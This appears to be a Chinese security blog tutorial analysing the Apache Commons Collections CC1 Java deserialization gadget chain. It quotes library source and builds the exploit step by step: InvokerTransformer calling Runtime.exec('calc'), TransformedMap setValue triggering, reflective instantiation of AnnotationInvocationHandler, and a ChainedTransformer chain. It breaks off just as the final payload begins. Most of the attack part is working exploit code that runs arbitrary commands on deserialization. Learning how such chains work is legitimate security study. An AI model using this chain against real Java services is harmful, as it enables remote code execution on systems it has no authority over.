CC1链学习分析

2025-03-12 123 0

前置知识

1. 反序列化不会执行构造方法

反序列化是通过 ObjectInputStream​ 读取字节流并重建对象的过程。它不会调用类的构造方法(无论是无参构造方法还是有参构造方法)。相反,反序列化是通过 JVM 直接分配内存并恢复对象的字段值。

2. 反序列化会调用readObject​ 方法(如果存在)

如果被反序列化的类实现了 java.io.Serializable​ 接口,并且自定义了 readObject​ 方法,那么在反序列化时会调用该方法。你可以在 readObject​ 方法中编写自定义的逻辑,这些逻辑会在反序列化时执行。

例如:

import java.io.*;

public class Dog implements Serializable {
    private String name;

    public Dog(String name) {
        this.name = name;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 默认反序列化逻辑
        System.out.println("反序列化时执行了 readObject 方法");
    }

    @Override
    public String toString() {
        return "Dog{name='" + name + "'}";
    }
}

3、反序列化时,服务器需要能够找到并加载你定义的类。

如果服务器上没有相应的类路径或类定义,反序列化会失败并抛出ClassNotFoundException。

总结

那么搞懂了反序列化这一原理,对于我们去理解CC链的作用是重要的。具体原因如下:

那么如果想要摆脱限制去执行任意代码,就不得不分析以下CC链了。

反序列化实现RCE必须满足

  • 入口处可以接受任意对象进行反序列化,以及任意方法。

  • 因为java的反序列化会执行readObject方法,那么任意对象任意方法,就可以转变成,执行任意对象的readObject方法(readObject方法可写)

    总体大概思想如下:

CC1链学习分析插图

链分析

分析我们从底层往上找,这里就是需要找到一个方法可以去执行Runtime方法,或者任意对象任意方法。

首先入口找到了一个

第一步:Transformer 接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以接受任意对象,然后去继续跟进以下,看这个接口怎么去实现具体方法了。

InvokerTransformer

/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable {

    /** The serial version */
    private static final long serialVersionUID = -8653385846894047688L;
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    /**
     * Gets an instance of this transformer calling a specific method with no arguments.
     * 
     * @param methodName  the method name to call
     * @return an invoker transformer
     * @since Commons Collections 3.1
     */
    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        return new InvokerTransformer(methodName);
    }

    /**
     * Gets an instance of this transformer calling a specific method with specific values.
     * 
     * @param methodName  the method name to call
     * @param paramTypes  the parameter types of the method
     * @param args  the arguments to pass to the method
     * @return an invoker transformer
     */
    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        if (((paramTypes == null) && (args != null))
            || ((paramTypes != null) && (args == null))
            || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        }
        if (paramTypes == null || paramTypes.length == 0) {
            return new InvokerTransformer(methodName);
        } else {
            paramTypes = (Class[]) paramTypes.clone();
            args = (Object[]) args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        }
    }

    /**
     * Constructor for no arg instance.
     * 
     * @param methodName  the method to call
     */
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

关键代码如下:

public Object transform(Object input) {//接收一个对象
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();// 获取输入对象的 Class 对象
            Method method = cls.getMethod(iMethodName, iParamTypes);//反射调用方法,方法名和方法值可控
            return method.invoke(input, iArgs);//通过invoke反射实现方法
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

那么先来构造一个反射执行弹出计算机的这样一个操作,随后再将其转换为transformer方法的。

Runtime rt = Runtime.getRuntime();
Class<Runtime> runtimeClass = Runtime.class;//反射获取类
Method exec = runtimeClass.getMethod("exec", String.class);//通过反射来获取方法
exec.setAccessible(true);
exec.invoke(rt,"calc");//实现方法

运行一下看看效果:

CC1链学习分析插图1

没有问题,那么开始仿照transformer来将我们的代码改造。

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());

CC1链学习分析插图2

也是没有问题,到了这里已经完成了第一步,找到一个可以调用runtime方法或者任意方法的一个对象。

那么我么需要继续寻找看谁调用了transform这个方法。

CC1链学习分析插图3

第二:TransformedMap

/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.commons.collections.map;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;

/**
 * Decorates another <code>Map</code> to transform objects that are added.
 * <p>
 * The Map put methods and Map.Entry setValue method are affected by this class.
 * Thus objects must be removed or searched for using their transformed form.
 * For example, if the transformation converts Strings to Integers, you must
 * use the Integer form to remove objects.
 * <p>
 * <strong>Note that TransformedMap is not synchronized and is not thread-safe.</strong>
 * If you wish to use this map from multiple threads concurrently, you must use
 * appropriate synchronization. The simplest approach is to wrap this map
 * using {@link java.util.Collections#synchronizedMap(Map)}. This class may throw 
 * exceptions when accessed by concurrent threads without synchronization.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 * 
 * @author Stephen Colebourne
 */
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7023152376788900464L;

    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;

    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     * Constrast this with {@link #decorateTransform}.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no transformation
     * @param valueTransformer  the transformer to use for value conversion, null means no transformation
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    /**
     * Factory method to create a transforming map that will transform
     * existing contents of the specified map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * will be transformed by this method.
     * Constrast this with {@link #decorate}.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no transformation
     * @param valueTransformer  the transformer to use for value conversion, null means no transformation
     * @throws IllegalArgumentException if map is null
     * @since Commons Collections 3.2
     */
    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
        if (map.size() > 0) {
            Map transformed = decorated.transformMap(map);
            decorated.clear();
            decorated.getMap().putAll(transformed);  // avoids double transformation
        }
        return decorated;
    }

    //-----------------------------------------------------------------------
    /**
     * Constructor that wraps (not copies).
     * <p>
     * If there are any elements already in the collection being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    //-----------------------------------------------------------------------
    /**
     * Write the map out using a custom routine.
     * 
     * @param out  the output stream
     * @throws IOException
     * @since Commons Collections 3.1
     */
    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }

    /**
     * Read the map in using a custom routine.
     * 
     * @param in  the input stream
     * @throws IOException
     * @throws ClassNotFoundException
     * @since Commons Collections 3.1
     */
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }

    //-----------------------------------------------------------------------
    /**
     * Transforms a key.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }

    /**
     * Transforms a value.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

    /**
     * Transforms a map.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param map  the map to transform
     * @throws the transformed object
     */
    protected Map transformMap(Map map) {
        if (map.isEmpty()) {
            return map;
        }
        Map result = new LinkedMap(map.size());
        for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
            Map.Entry entry = (Map.Entry) it.next();
            result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
        }
        return result;
    }

    /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    /**
     * Override to only return true when there is a value transformer.
     * 
     * @return true if a value transformer is in use
     * @since Commons Collections 3.1
     */
    protected boolean isSetValueChecking() {
        return (valueTransformer != null);
    }

    //-----------------------------------------------------------------------
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }

}

关键代码解释如下:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;//keyTransformer可控
        this.valueTransformer = valueTransformer;//valueTransformer可控
    }
protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);//通过valueTransformer调用了transform方法
    }

但是可以看到TransformedMap不是public也就是只能他自己调用这个方法,那么往上找。

找到了一个公开的方法如下:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

但是这个checkSetValue没有被调用,那我们继续寻找谁调用了这个方法

CC1链学习分析插图4只有一个地方调用,跟进看一下,可以看到是他的父类方法调用了这个方法。

关键代码解释如下:

public Object next() {
            Map.Entry entry = (Map.Entry) iterator.next();
            return new MapEntry(entry, parent);
        }
    }

    /**
     * Implementation of a map entry that checks additions via setValue.
     */
    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);//调用方法
            return entry.setValue(value);
        }
    }

我们知道Entry是遍历map时所用的一个办法,那我们尝试是否在遍历时使用setValue能否触发函数。

Runtime runtime = Runtime.getRuntime();
            InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

            //这个map是应为TransformedMap.decorate不可以空参数,所以其实也无所谓具体值
            HashMap<Object,Object> map = new HashMap();
            map.put("a", "b");
            Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);//调用方法赋值
            for(Map.Entry entry: decorate.entrySet()){
                entry.setValue(runtime);//通过setVale方法去执行checkSetVa
                //exec.transform(runtime);  代码的意思其实相当于,最终实现的形式
            }

CC1链学习分析插图5

没有问题。

结合我们的初心,我们最终是需要找到一个readObject方法来实现以上操作。那么继续寻找setValue这个方法有没有被readObject方法调用。

第三

随后找到了AnnotationInvocationHandler.java文件,存在readObject并且调用了setValue方法

/*
 * Copyright (c) 2003, 2014, Oracle and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 only, as
 * published by the Free Software Foundation.  Oracle designates this
 * particular file as subject to the "Classpath" exception as provided
 * by Oracle in the LICENSE file that accompanied this code.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
 * or visit www.oracle.com if you need additional information or have any
 * questions.
 */

package sun.reflect.annotation;

import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
import java.util.*;
import java.security.AccessController;
import java.security.PrivilegedAction;

/**
 * InvocationHandler for dynamic proxy implementation of Annotation.
 *
 * @author  Josh Bloch
 * @since   1.5
 */
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

    /**
     * This method, which clones its array argument, would not be necessary
     * if Cloneable had a public clone method.
     */
    private Object cloneArray(Object array) {
        Class<?> type = array.getClass();

        if (type == byte[].class) {
            byte[] byteArray = (byte[])array;
            return byteArray.clone();
        }
        if (type == char[].class) {
            char[] charArray = (char[])array;
            return charArray.clone();
        }
        if (type == double[].class) {
            double[] doubleArray = (double[])array;
            return doubleArray.clone();
        }
        if (type == float[].class) {
            float[] floatArray = (float[])array;
            return floatArray.clone();
        }
        if (type == int[].class) {
            int[] intArray = (int[])array;
            return intArray.clone();
        }
        if (type == long[].class) {
            long[] longArray = (long[])array;
            return longArray.clone();
        }
        if (type == short[].class) {
            short[] shortArray = (short[])array;
            return shortArray.clone();
        }
        if (type == boolean[].class) {
            boolean[] booleanArray = (boolean[])array;
            return booleanArray.clone();
        }

        Object[] objectArray = (Object[])array;
        return objectArray.clone();
    }


    /**
     * Implementation of dynamicProxy.toString()
     */
    private String toStringImpl() {
        StringBuilder result = new StringBuilder(128);
        result.append('@');
        result.append(type.getName());
        result.append('(');
        boolean firstMember = true;
        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
            if (firstMember)
                firstMember = false;
            else
                result.append(", ");

            result.append(e.getKey());
            result.append('=');
            result.append(memberValueToString(e.getValue()));
        }
        result.append(')');
        return result.toString();
    }

    /**
     * Translates a member value (in "dynamic proxy return form") into a string
     */
    private static String memberValueToString(Object value) {
        Class<?> type = value.getClass();
        if (!type.isArray())    // primitive, string, class, enum const,
                                // or annotation
            return value.toString();

        if (type == byte[].class)
            return Arrays.toString((byte[]) value);
        if (type == char[].class)
            return Arrays.toString((char[]) value);
        if (type == double[].class)
            return Arrays.toString((double[]) value);
        if (type == float[].class)
            return Arrays.toString((float[]) value);
        if (type == int[].class)
            return Arrays.toString((int[]) value);
        if (type == long[].class)
            return Arrays.toString((long[]) value);
        if (type == short[].class)
            return Arrays.toString((short[]) value);
        if (type == boolean[].class)
            return Arrays.toString((boolean[]) value);
        return Arrays.toString((Object[]) value);
    }

    /**
     * Implementation of dynamicProxy.equals(Object o)
     */
    private Boolean equalsImpl(Object o) {
        if (o == this)
            return true;

        if (!type.isInstance(o))
            return false;
        for (Method memberMethod : getMemberMethods()) {
            String member = memberMethod.getName();
            Object ourValue = memberValues.get(member);
            Object hisValue = null;
            AnnotationInvocationHandler hisHandler = asOneOfUs(o);
            if (hisHandler != null) {
                hisValue = hisHandler.memberValues.get(member);
            } else {
                try {
                    hisValue = memberMethod.invoke(o);
                } catch (InvocationTargetException e) {
                    return false;
                } catch (IllegalAccessException e) {
                    throw new AssertionError(e);
                }
            }
            if (!memberValueEquals(ourValue, hisValue))
                return false;
        }
        return true;
    }

    /**
     * Returns an object's invocation handler if that object is a dynamic
     * proxy with a handler of type AnnotationInvocationHandler.
     * Returns null otherwise.
     */
    private AnnotationInvocationHandler asOneOfUs(Object o) {
        if (Proxy.isProxyClass(o.getClass())) {
            InvocationHandler handler = Proxy.getInvocationHandler(o);
            if (handler instanceof AnnotationInvocationHandler)
                return (AnnotationInvocationHandler) handler;
        }
        return null;
    }

    /**
     * Returns true iff the two member values in "dynamic proxy return form"
     * are equal using the appropriate equality function depending on the
     * member type.  The two values will be of the same type unless one of
     * the containing annotations is ill-formed.  If one of the containing
     * annotations is ill-formed, this method will return false unless the
     * two members are identical object references.
     */
    private static boolean memberValueEquals(Object v1, Object v2) {
        Class<?> type = v1.getClass();

        // Check for primitive, string, class, enum const, annotation,
        // or ExceptionProxy
        if (!type.isArray())
            return v1.equals(v2);

        // Check for array of string, class, enum const, annotation,
        // or ExceptionProxy
        if (v1 instanceof Object[] && v2 instanceof Object[])
            return Arrays.equals((Object[]) v1, (Object[]) v2);

        // Check for ill formed annotation(s)
        if (v2.getClass() != type)
            return false;

        // Deal with array of primitives
        if (type == byte[].class)
            return Arrays.equals((byte[]) v1, (byte[]) v2);
        if (type == char[].class)
            return Arrays.equals((char[]) v1, (char[]) v2);
        if (type == double[].class)
            return Arrays.equals((double[]) v1, (double[]) v2);
        if (type == float[].class)
            return Arrays.equals((float[]) v1, (float[]) v2);
        if (type == int[].class)
            return Arrays.equals((int[]) v1, (int[]) v2);
        if (type == long[].class)
            return Arrays.equals((long[]) v1, (long[]) v2);
        if (type == short[].class)
            return Arrays.equals((short[]) v1, (short[]) v2);
        assert type == boolean[].class;
        return Arrays.equals((boolean[]) v1, (boolean[]) v2);
    }

    /**
     * Returns the member methods for our annotation type.  These are
     * obtained lazily and cached, as they're expensive to obtain
     * and we only need them if our equals method is invoked (which should
     * be rare).
     */
    private Method[] getMemberMethods() {
        if (memberMethods == null) {
            memberMethods = AccessController.doPrivileged(
                new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        final Method[] mm = type.getDeclaredMethods();
                        validateAnnotationMethods(mm);
                        AccessibleObject.setAccessible(mm, true);
                        return mm;
                    }
                });
        }
        return memberMethods;
    }
    private transient volatile Method[] memberMethods = null;

    /**
     * Validates that a method is structurally appropriate for an
     * annotation type. As of Java SE 8, annotation types cannot
     * contain static methods and the declared methods of an
     * annotation type must take zero arguments and there are
     * restrictions on the return type.
     */
    private void validateAnnotationMethods(Method[] memberMethods) {
        /*
         * Specification citations below are from JLS
         * 9.6.1. Annotation Type Elements
         */
        boolean valid = true;
        for(Method method : memberMethods) {
            /*
             * "By virtue of the AnnotationTypeElementDeclaration
             * production, a method declaration in an annotation type
             * declaration cannot have formal parameters, type
             * parameters, or a throws clause.
             *
             * "By virtue of the AnnotationTypeElementModifier
             * production, a method declaration in an annotation type
             * declaration cannot be default or static."
             */
            if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) ||
                method.isDefault() ||
                method.getParameterCount() != 0 ||
                method.getExceptionTypes().length != 0) {
                valid = false;
                break;
            }

            /*
             * "It is a compile-time error if the return type of a
             * method declared in an annotation type is not one of the
             * following: a primitive type, String, Class, any
             * parameterized invocation of Class, an enum type
             * (section 8.9), an annotation type, or an array type
             * (chapter 10) whose element type is one of the preceding
             * types."
             */
            Class<?> returnType = method.getReturnType();
            if (returnType.isArray()) {
                returnType = returnType.getComponentType();
                if (returnType.isArray()) { // Only single dimensional arrays
                    valid = false;
                    break;
                }
            }

            if (!((returnType.isPrimitive() && returnType != void.class) ||
                  returnType == java.lang.String.class ||
                  returnType == java.lang.Class.class ||
                  returnType.isEnum() ||
                  returnType.isAnnotation())) {
                valid = false;
                break;
            }

            /*
             * "It is a compile-time error if any method declared in an
             * annotation type has a signature that is
             * override-equivalent to that of any public or protected
             * method declared in class Object or in the interface
             * java.lang.annotation.Annotation."
             *
             * The methods in Object or Annotation meeting the other
             * criteria (no arguments, contrained return type, etc.)
             * above are:
             *
             * String toString()
             * int hashCode()
             * Class<? extends Annotation> annotationType()
             */
            String methodName = method.getName();
            if ((methodName.equals("toString") && returnType == java.lang.String.class) ||
                (methodName.equals("hashCode") && returnType == int.class) ||
                (methodName.equals("annotationType") && returnType == java.lang.Class.class)) {
                valid = false;
                break;
            }
        }
        if (valid)
            return;
        else
            throw new AnnotationFormatError("Malformed method on an annotation type");
    }

    /**
     * Implementation of dynamicProxy.hashCode()
     */
    private int hashCodeImpl() {
        int result = 0;
        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
            result += (127 * e.getKey().hashCode()) ^
                memberValueHashCode(e.getValue());
        }
        return result;
    }

    /**
     * Computes hashCode of a member value (in "dynamic proxy return form")
     */
    private static int memberValueHashCode(Object value) {
        Class<?> type = value.getClass();
        if (!type.isArray())    // primitive, string, class, enum const,
                                // or annotation
            return value.hashCode();

        if (type == byte[].class)
            return Arrays.hashCode((byte[]) value);
        if (type == char[].class)
            return Arrays.hashCode((char[]) value);
        if (type == double[].class)
            return Arrays.hashCode((double[]) value);
        if (type == float[].class)
            return Arrays.hashCode((float[]) value);
        if (type == int[].class)
            return Arrays.hashCode((int[]) value);
        if (type == long[].class)
            return Arrays.hashCode((long[]) value);
        if (type == short[].class)
            return Arrays.hashCode((short[]) value);
        if (type == boolean[].class)
            return Arrays.hashCode((boolean[]) value);
        return Arrays.hashCode((Object[]) value);
    }

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

那么不出意外就马上可以完成该链条的闭环,但由于这个类不是一个public方法,只能在当前包下调用,所以使用反射的方法创建对象。

Runtime runtime = Runtime.getRuntime();
			InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
            //exec.transform(runtime);  最终实现的形式
            HashMap<Object, Object> map = new HashMap<>();
            map.put("a", "b");
            Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);
//            for (Map.Entry entry : decorate.entrySet()) {
//                entry.setValue(runtime);
//            }
            Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射得到类
            Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class, InvokerTransformer.class);//获取构造器
            constructor.setAccessible(true);
            Object o = constructor.newInstance(Override.class, decorate);//实例化对象
            serializable("123.se1r", o);

但是不出意外的~报错了

CC1链学习分析插图6

问题就是runtime没有继承序列化函数,所以自然也不能被反序列化。

但是我们知道Class类继承了序列化函数,所以我们可以用反射的方法来将其改造一下。

如下:

Class<Runtime> c = Runtime.class;
            Method getRuntime = c.getMethod("getRuntime", null);//因为这个方法是空参的所以直接null就可以
            getRuntime.setAccessible(true);
            Runtime runtime = (Runtime)getRuntime.invoke(null, null);//实例化方法
            Method exec = c.getMethod("exec", String.class);
            exec.setAccessible(true);
            exec.invoke(runtime, "calc");//调用方法
            //就和 Runtime.getRuntime().exec("calc"); 一样不过是反射调用 
            

再然后就需要将其转换为transformer版本

//Class c = Runtime.class;
//            Method getRuntime = c.getMethod("getRuntime", null);//调用它的getRuntime方法,无参
//            Runtime r = (Runtime)getRuntime.invoke(null, null);//实现方法,并且强转为runtime对象
//            Method exec = c.getMethod("exec", String.class);//反射调用exec方法
//            exec.invoke(r,"calc");//实现方法
//
//            //转换为transformer版本
            //对Runtime.class调用getMethod方法
            Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
            //对getMethod调用它的Invoke方法,完成第二行改造
            Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
            //通过InvokerTransformer来反射调用r的exec方法,完成对第三第四行的改造。
            Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
            //new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(getRuntime);

这里其实乍一看不太容易理解,我们这样去类比的看就便于理解。

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

这一行代码的意思就是,调用Runtime的getRuntime的exec方法,然后参数类型为String,参数值就等于calc相当于

Runtime.getRuntime().exec("calc");

这样再去类比的去看就比较容易理解。

这里代码比较多,我们通过ChainedTransformer来递归调用,简化代码~

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);//直接自己调用以下发现可以执行

这个类的输入类型是一个数组然后作用就是:把上一个函数的返回作为下一个函数的输入。

结合上边调用ReadObject方法,得到的payload如下:

Transformer[] transformers = new Transformer[]{
